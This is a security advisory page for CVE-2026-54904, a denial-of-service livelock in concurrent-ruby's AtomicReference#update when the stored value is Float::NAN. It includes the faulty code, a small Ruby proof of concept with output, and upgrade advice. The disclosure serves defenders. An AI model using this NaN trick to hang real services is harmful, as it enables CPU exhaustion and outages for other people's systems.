CVE-2026-54904: concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`

Published Jun 19, 2026
·
Updated

Summary Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between: - AtomicReference#update, which retries until compareandset(oldvalue, newvalue) succeeds. - Numeric compareandset, which checks old == oldvalue before attempting the underlying atomic swap. - Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab Details

AtomicReference#update retries until compareandset returns true:

ruby def update true until compareandset(oldvalue = get, newvalue = yield(oldvalue)) newvalue end

For numeric expected values, compareandset uses numeric equality before attempting the underlying atomic compare-and-set:

ruby def compareandset(oldvalue, newvalue) if oldvalue.kindof? Numeric while true old = get

return false unless old.kindof? Numeric return false unless old == oldvalue

result = compareandset(old, newvalue) return result if result end else compareandset(oldvalue, newvalue) end end

When the stored value is Float::NAN, oldvalue = get returns NaN. The later comparison old == oldvalue is false because NaN is not equal to itself. compareandset therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

ruby #!/usr/bin/env ruby frozenstringliteral: true

require 'concurrent/atomic/atomicreference' require 'concurrent/version'

puts "ruby=#{RUBYDESCRIPTION}" puts "concurrentrubyversion=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false

worker = Thread.new do ref.update do |oldvalue| attempts += 1 0.0 end finished = true end

sleep 0.25

puts "nanupdateattemptsafter250ms=#{attempts}" puts "nanupdatefinished=#{finished}" puts "nanupdateworkeralive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOTREPRODUCED' end

worker.kill worker.join

control = Concurrent::AtomicReference.new(1.0) controlattempts = 0 controlresult = control.update do |oldvalue| controlattempts += 1 oldvalue + 1.0 end

puts "controlupdateresult=#{controlresult.inspect}" puts "controlupdateattempts=#{controlattempts}" puts "controlupdatefinalvalue=#{control.value.inspect}" Log evidence text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrentrubyversion=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nanupdateattemptsafter250ms=1926016 nanupdatefinished=false nanupdateworkeralive=true result=REPRODUCED busy retry loop; update did not complete controlupdateresult=2.0 controlupdateattempts=1 controlupdatefinalvalue=2.0

Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit Pranjali Thakur - depthfirst (depthfirst.com)

Other sources

concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compareandset(oldvalue, newvalue) succeeds; Numeric compareandset, which checks old == oldvalue before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.

— MITRE

Affected Software

3 affected componentsFixes available
rubygems/concurrent-ruby<1.3.7
1.3.7
Rubyconcurrency Concurrent Ruby Ruby<1.3.7
IBM API Connect V12 OnPrem<=v12.1.0.0 - v12.1.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/concurrent-ruby to a version that resolves this vulnerability.

    Fixed in 1.3.7
  2. Upgrade

    Upgrade concurrent-ruby to a version that resolves this vulnerability.

    Fixed in 1.3.7Patch 7a1b78941c081106c20a9ca0144ac73a48d254ab

Event History

Jun 19, 2026
Advisory Published
via GitHub·08:47 PM
Data Sourced
via GitHub·08:47 PM
DescriptionWeaknessAffected Software
Jun 24, 2026
CVE Published
via MITRE·03:44 PM
Data Sourced
via MITRE·03:44 PM
DescriptionWeakness
Data Sourced
via NVD·05:17 PM
DescriptionSeverityWeaknessAffected Software
Oct 8, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-54904?

CVE-2026-54904 has a risk rating of 33.

2

What causes the issue in CVE-2026-54904?

The issue in CVE-2026-54904 is caused by `Concurrent::AtomicReference#update` entering a busy retry loop when the current value is `Float::NAN`.

3

How does CVE-2026-54904 affect software?

CVE-2026-54904 affects applications utilizing the `concurrent-ruby` gem, leading to potential performance degradation due to infinite retry loops.

4

How do I fix CVE-2026-54904?

To fix CVE-2026-54904, update the `concurrent-ruby` gem to the latest version where the issue has been addressed.

5

What version of concurrent-ruby is affected by CVE-2026-54904?

CVE-2026-54904 affects versions of the `concurrent-ruby` gem prior to the patch release.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203